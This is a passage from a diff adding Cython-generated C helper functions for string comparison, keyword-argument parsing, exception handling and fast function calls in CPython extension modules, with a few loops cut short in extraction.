CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* ArgTypeTest */ +static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact) +{ + __Pyx_TypeName type_name; + __Pyx_TypeName obj_type_name; + if (unlikely(!type)) { + PyErr_SetString(PyExc_SystemError, "Missing type object"); + return 0; + } + else if (exact) { + #if PY_MAJOR_VERSION == 2 + if ((type == &PyBaseString_Type) && likely(__Pyx_PyBaseString_CheckExact(obj))) return 1; + #endif + } + else { + if (likely(__Pyx_TypeCheck(obj, type))) return 1; + } + type_name = __Pyx_PyType_GetName(type); + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "Argument '%.200s' has incorrect type (expected " __Pyx_FMT_TYPENAME + ", got " __Pyx_FMT_TYPENAME ")", name, type_name, obj_type_name); + __Pyx_DECREF_TypeName(type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return 0; +} + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* JoinPyUnicode */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 